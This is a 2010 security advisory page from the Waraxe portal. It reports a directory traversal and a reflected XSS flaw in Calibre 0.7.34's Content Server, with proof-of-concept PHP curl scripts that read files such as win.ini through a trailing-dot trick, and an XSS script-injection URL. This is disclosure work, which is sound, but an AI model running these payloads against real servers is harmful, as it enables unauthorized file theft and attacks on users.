Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 18, 2014
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Lokesh
New Today: 0
New Yesterday: 0
Overall: 8982

People Online:
Visitors: 192
Members: 1
Total: 193

Online Now:
01: privateloader - Private Messages
milw0rm
·[web applications] - RunCMS 1.6.1 - (pm.class.php) Multiple SQL Injection Vulnerabilities
·[web applications] - csUpload Script Site - Authentication Bypass Vulnerability
·[web applications] - QuickCms 5.4 - Multiple Vulnerabilites
·[dos / poc] - Heartbleed User Session Extraction Exploit
·[dos / poc] - Asterisk 1.x - BYE Message Remote Denial of Service Vulnerability
·[remote exploits] - Vtiger Install Unauthenticated Remote Command Execution Exploit
·[remote exploits] - MS14-017 Microsoft Word RTF Object Confusion Exploit
·[remote exploits] - BlackBerry Z 10 Buffer Overflow Vulnerability
·[remote exploits] - Sun Java Runtime Environment 1.6 - WebStart JNLP File Stack Buffer Overflow
·[remote exploits] - GSC Client 1.00 2067 - Privilege Escalation Vulnerability

read more...
PacketStorm News
·FreeBSD Security Advisory - OpenSSL Issues
·FreeBSD Security Advisory - NFS Server Deadlock
·Cisco Security Advisory 20140409-asa
·Cisco Security Advisory 20140409-heartbleed
·Mandriva Linux Security Advisory 2014-067
·Slackware Security Advisory - openssl Updates
·Red Hat Security Advisory 2014-0380-01
·Red Hat Security Advisory 2014-0389-01
·Red Hat Security Advisory 2014-0383-01
·Red Hat Security Advisory 2014-0382-01

read more...
[waraxe-2010-SA#077] - Multiple Vulnerabilities in Calibre 0.7.34





Author: Janek Vind "waraxe"
Date: 20. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-77.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Calibre is a free and open source e-book library management application developed
by users of e-books for users of e-books. It has a cornucopia of features divided
into the following main categories: Library Management, E-book conversion, Syncing
to e-book reader devices, Downloading news from the web and converting it into
e-book form, Comprehensive e-book viewer, Content server for online access to your
book collection

http://calibre-ebook.com/

Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Calibre version 0.7.34 for Windows, older versions
may be vulnerable as well. Other platform versions were not tested.

###############################################################################
1. Directory Traversal Vulnerability in Calibre Content Server
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data

Attack vector: specially crafted HTTP GET request

Preconditions:
1. Calibre Content Server must be turned on (off by default)
2. If Username and Password set, they must be known (no password by default)

Impact: remote attacker can read arbitrary files on the target system

So, I was interested in e-book management software and after some research found
Calibre. It has useful feature - Content Server. Basically it's Webserver, based
on CherryPy, written in Python. As specialized in Web Application Security, then
obviously I spent some time playing with it.
I used Firefox with Live HTTP Headers Add-On, which provides easy way to observe
HTTP requests and responses. This is what got my attention:

http://localhost:8080/static/browse/browse.css
http://localhost:8080/static/jquery_ui/css/humanity-custom/jquery-ui-1.8.5.custom.css
http://localhost:8080/static/jquery.multiselect.css

Seems like accessing static resources. Norhing unusual. But what if ...

http://localhost:8080/static/browse/waraxe

Oops, something crashed:
-------------------------------------------------------------------------------
500 Internal Server Error

The server encountered an unexpected condition which prevented it from fulfilling the request.

Traceback (most recent call last):
File "site-packagescherrypy\_cprequest.py", line 606, in respond
File "site-packagescherrypy\_cpdispatch.py", line 25, in __call__
File "site-packagescalibrelibraryserverutils.py", line 51, in do
File "site-packagescalibrelibraryservercontent.py", line 98, in static
KeyError: u'browse/waraxe'

Powered by CherryPy 3.1.2
-------------------------------------------------------------------------------
So we can see, that static resources are handled via "content.py".
Calibre is Open Source software, so no need for reverse engineering.
Source code snippet:
-------------------------------------------------------------------------------
def static(self, name):
'Serves static content'
name = name.lower()
cherrypy.response.headers['Content-Type'] = {
'js' : 'text/javascript',
'css' : 'text/css',
'png' : 'image/png',
'gif' : 'image/gif',
'html' : 'text/html',
'' : 'application/octet-stream',
}[name.rpartition('.')[-1].lower()]
cherrypy.response.headers['Last-Modified'] = self.last_modified(self.build_time)
-------------------------------------------------------------------------------
As seen above, no checks for dot-dot-slash (../), so Directory Traversal
vulnerability may exist.
Quick look at Calibre install directory revealed the fact, that static
resources folder is located here:

C:Program Files (x86)Calibre2
esourcescontent_server

Let's see, if we can fetch files outside of that directory:

http://localhost:8080/static/../jquery.simulate.js

I was testing it with Firefox 3.6.13 and Live HTTP Headers revealed problem:

GET /jquery.simulate.js HTTP/1.1

It appears, that modern web browsers (FF, IE, Opera at least) will not let
directory traversal tests via GET request. Fine, let's then use php:
-------------------------------------------------------------------------------
<?php
error_reporting(E_ALL);
$url = "http://127.0.0.1:8080/static/../jquery.simulate.js";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>
-------------------------------------------------------------------------------
YES, it worked, we were able to read js file outside the predetermined directory.
Now let's try file reading from Windows directory:
-------------------------------------------------------------------------------
<?php
error_reporting(E_ALL);
$url = "http://127.0.0.1:8080/static/../../../../windows/win.ini";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>
-------------------------------------------------------------------------------
And we get unexpected crash :(
-------------------------------------------------------------------------------
500 Internal Server Error

The server encountered an unexpected condition which prevented it from fulfilling the request.

Traceback (most recent call last):
File "site-packagescherrypy\_cprequest.py", line 606, in respond
File "site-packagescherrypy\_cpdispatch.py", line 25, in __call__
File "site-packagescalibrelibraryserverutils.py", line 51, in do
File "site-packagescalibrelibraryservercontent.py", line 98, in static
KeyError: u'ini'
-------------------------------------------------------------------------------
As seen above, files with extension "js", "css", "png", "gif" and "html" as well
as files without extension (filename ends with dot) are retrievable, but in case
of "wrong" extension vulnerable python script will crash because of missing entry
in extensions array (formal definition: exception KeyError - Raised when a mapping
(dictionary) key is not found in the set of existing keys).
At first this seemed as minor security issue - only js, css, png, gif, html and
extensionless files from remote system can be retrieved. But after playing around
some time I found useful artifact - concatenation of space or dot character
to the end of the filename will pass through the python script without crashing
it and we can read arbitrary files from remote system.
Now this is major security issue here! Below is test script for proof of concept:
-------------------------------------------------------------------------------
<?php
error_reporting(E_ALL);
$url = "http://127.0.0.1:8080/static/../../../../windows/win.ini.";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resp = curl_exec($ch);
curl_close($ch);
echo $resp;
?>
-------------------------------------------------------------------------------
By the way, that trick with trailing dot or space character(s) is based on
Win32 API features. I tried it in php and python, in both cases we can open same
file with paths "waraxe.txt", "waraxe.txt.", "waraxe.txt ", "waraxe.txt. . .".
I tried Win32 API CreateFile() from C code and it worked in same way.
Seems like useful trick :)

###############################################################################
2. Reflected XSS Vulnerability in Calibre Content Server
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data

Attack vector: user-supplied GET parameter "query"

Preconditions:
1. Calibre Content Server must be turned on (off by default)
2. If Username and Password set, they must be known (no password by default)

Example attack:

http://127.0.0.1:8080/browse/search?query=<script>alert('waraxe')</script>


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

20.12.2010 Developer contacted via email
20.12.2010 Developer gave green light for going public
20.12.2010 Public disclosure

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://errorhelpdesk.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2010-12-20 (3828 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
vn5socks  vn5socks - 707
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 374
tsabitah  tsabitah - 328
SecurityFocus
·Vuln: Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerabilities
·Vuln: qEngine Database Backup Information Disclosure Vulnerability
·Vuln: LibYAML 'yaml_parser_scan_uri_esc apes()' Function Remote Heap Based Buffer Overflow Vulnerability
·Vuln: Python 'readline()' Function Denial of Service Vulnerability
·Bugtraq: iVault Private P&V 1.1 iOS - Path Traversal Vulnerability
·Bugtraq: BlueMe Bluetooth v5.0 iOS - Code Execution Vulnerability
·Bugtraq: AppFish Offline Coder v2.2 iOS - Persistent Software Vulnerability
·Bugtraq: [SECURITY] [DSA 2899-1] openafs security update
·More rss feeds from SecurityFocus

read more...
alexa



Error messages
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.073 Seconds